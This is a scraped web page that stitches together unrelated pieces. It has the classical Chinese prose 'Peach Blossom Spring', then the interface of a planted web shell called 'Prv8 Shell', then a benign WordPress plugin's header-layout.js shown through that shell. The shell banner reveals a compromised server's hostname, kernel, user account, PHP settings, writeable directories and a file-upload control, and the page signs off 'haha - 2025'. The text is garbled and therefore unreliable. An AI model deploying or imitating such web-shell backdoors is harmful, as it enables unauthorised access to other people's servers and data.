晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/powerpack-elements/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/powerpack-elements/assets/js/header-layout.js
(function ($) {

	/**
	 * Helper class for header layout logic.
	 *
	 * @since 1.4.15
	 * @class PPHeaderLayout
	 */
	PPHeaderLayout = {

		/**
		 * A reference to the window object for this page.
		 *
		 * @since 1.4.15
		 * @property {Object} win
		 */
		win: null,

		/**
		 * A reference to the body object for this page.
		 *
		 * @since 1.4.15
		 * @property {Object} body
		 */
		body: null,

		/**
		 * A reference to the header object for this page.
		 *
		 * @since 1.4.15
		 * @property {Object} header
		 */
		header: null,

		/**
		 * Whether this header overlays the content or not.
		 *
		 * @since 1.4.15
		 * @property {Boolean} overlay
		 */
		overlay: false,

		/**
		 * Whether the page has the WP admin bar or not.
		 *
		 * @since 1.4.15
		 * @property {Boolean} hasAdminBar
		 */
		hasAdminBar: false,

		/**
		 * Initializes header layout logic.
		 *
		 * @since 1.4.15
		 * @method init
		 */
		init: function () {
			var isEditMode = false,
				header = $('.pp-elementor-header[data-type=header]');

			if (elementorFrontend.isEditMode()) {
				var isEditMode = true;
			}

			if (!isEditMode && header.length) {
				header.imagesLoaded($.proxy(function () {

					this.win = $(window);
					this.body = $('body');
					this.header = header.eq(0);
					this.overlay = !!Number(header.attr('data-overlay'));
					this.hasAdminBar = !!$('body.admin-bar').length;

					if (Number(header.attr('data-sticky'))) {

						this.header.data('original-top', this.header.offset().top);
						//this.win.on( 'resize', $.throttle( 500, $.proxy( this._initSticky, this ) ) );
						this._initSticky();

						if (Number(header.attr('data-shrink'))) {
							this.header.data('original-height', this.header.outerHeight());
							//this.win.on( 'resize', $.throttle( 500, $.proxy( this._initShrink, this ) ) );
							this._initShrink();
						}
					}

				}, this));
			}
		},

		/**
		 * Initializes sticky logic for a header.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _initSticky
		 */
		_initSticky: function () {

			var breakpoint = this.header.data("breakpoint");

			if (this._matchDevice(breakpoint)) {
				this.win.on('scroll.pp-header-sticky', $.proxy(this._doSticky, this));
				this._doSticky();
			} else {
				this.win.off('scroll.pp-header-sticky');
				this.header.removeClass('pp-header-sticky');
				this.body.css('padding-top', '0');
			}
		},

		/**
		 * Matches the current device for set breakpoint.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _matchDevice
		 */
		_matchDevice: function (breakpoint) {

			var breakpoints = elementorFrontend.config.breakpoints;

			var match = false;

			if ('all' === breakpoint) {
				match = true;
			} else if ('large' === breakpoint) {
				match = window.innerWidth > breakpoints.md;
			} else if ('large-medium' === breakpoint) {
				match = window.innerWidth > breakpoints.sm;
			} else if ('medium' === breakpoint) {
				match = window.innerWidth > breakpoints.sm && window.innerWidth <= breakpoints.md;
			} else if ('medium-responsive' === breakpoint) {
				match = window.innerWidth <= breakpoints.md;
			} else if ('responsive' === breakpoint) {
				match = window.innerWidth <= breakpoints.sm;
			}

			return match;
		},

		/**
		 * Sticks the header when the page is scrolled.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _doSticky
		 */
		_doSticky: function () {
			var winTop = this.win.scrollTop(),
				headerTop = this.header.data('original-top'),
				hasStickyClass = this.header.hasClass('pp-header-sticky'),
				hasScrolledClass = this.header.hasClass('pp-header-scrolled');

			if (this.hasAdminBar) {
				winTop += 32;
			}

			if (winTop >= headerTop) {
				if (!hasStickyClass) {
					this.header.addClass('pp-header-sticky');
					if (!this.overlay) {
						this.body.css('padding-top', this.header.outerHeight() + 'px');
					}
				}
			}
			else if (hasStickyClass) {
				this.header.removeClass('pp-header-sticky');
				this.body.css('padding-top', '0');
			}

			if (winTop > headerTop) {
				if (!hasScrolledClass) {
					this.header.addClass('pp-header-scrolled');
				}
			} else if (hasScrolledClass) {
				this.header.removeClass('pp-header-scrolled');
			}
		},

		/**
		 * Initializes shrink logic for a header.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _initShrink
		 */
		_initShrink: function () {
			//elementorBreakpoints = elementorFrontend.config.breakpoints
			var breakpoint = this.header.data("breakpoint");

			if (this._matchDevice(breakpoint)) {
				this.win.on('scroll.pp-header-shrink', $.proxy(this._doShrink, this));
				this._setImageMaxHeight();
			} else {
				this.body.css('padding-top', '0');
				this.win.off('scroll.pp-header-shrink');
				this._removeShrink();
				this._removeImageMaxHeight();
			}
		},

		/**
		 * Shrinks the header when the page is scrolled.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _doShrink
		 */
		_doShrink: function () {
			var winTop = this.win.scrollTop(),
				headerTop = this.header.data('original-top'),
				headerHeight = this.header.data('original-height'),
				hasClass = this.header.hasClass('pp-header-shrink');

			if (this.hasAdminBar) {
				winTop += 32;
			}

			if (winTop > headerTop + headerHeight) {

				if (!hasClass) {

					this.header.addClass('pp-header-shrink');

					this.header.find('.elementor-section').each(function () {

						var row = $(this);

						if (parseInt(row.css('padding-bottom')) > 5) {
							row.addClass('pp-header-shrink-row-bottom');
						}

						if (parseInt(row.css('padding-top')) > 5) {
							row.addClass('pp-header-shrink-row-top');
						}
					});

					this.header.find('.elementor-column-wrap').each(function () {

						var module = $(this);

						if (parseInt(module.css('margin-bottom')) > 5) {
							module.addClass('pp-header-shrink-module-bottom');
						}

						if (parseInt(module.css('margin-top')) > 5) {
							module.addClass('pp-header-shrink-module-top');
						}
					});
				}
			} else if (hasClass) {
				this._removeShrink();
			}
		},

		/**
		 * Removes the header shrink effect.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _removeShrink
		 */
		_removeShrink: function () {
			var rows = this.header.find('.elementor-section'),
				modules = this.header.find('.elementor-column-wrap');

			rows.removeClass('pp-header-shrink-row-bottom');
			rows.removeClass('pp-header-shrink-row-top');
			modules.removeClass('pp-header-shrink-module-bottom');
			modules.removeClass('pp-header-shrink-module-top');
			this.header.removeClass('pp-header-shrink');
		},

		/**
		 * Adds max height to images in modules for smooth scrolling.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _setImageMaxHeight
		 */
		_setImageMaxHeight: function () {
			var head = $('head'),
				stylesId = 'pp-header-styles-' + this.header.data('header-id'),
				styles = '',
				images = this.header.find('.elementor-element img');

			if ($('#' + stylesId).length) {
				return;
			}

			images.each(function (i) {
				var image = $(this),
					height = image.height(),
					node = image.closest('.elementor-element').data('id'),
					className = 'elementor-element-' + node + '-img-' + i;

				image.addClass(className);
				image.attr('data-no-lazy', 1);
				styles += '.' + className + ' { max-height: ' + height + 'px }';
			});

			if ('' !== styles) {
				head.append('<style id="' + stylesId + '">' + styles + '</style>');
			}
		},

		/**
		 * Removes max height on images in modules for smooth scrolling.
		 *
		 * @since 1.4.15
		 * @access private
		 * @method _removeImageMaxHeight
		 */
		_removeImageMaxHeight: function () {
			$('#pp-header-styles-' + this.header.data('header-id')).remove();
		},
	};

	$(function () { PPHeaderLayout.init(); });

})(jQuery);

haha - 2025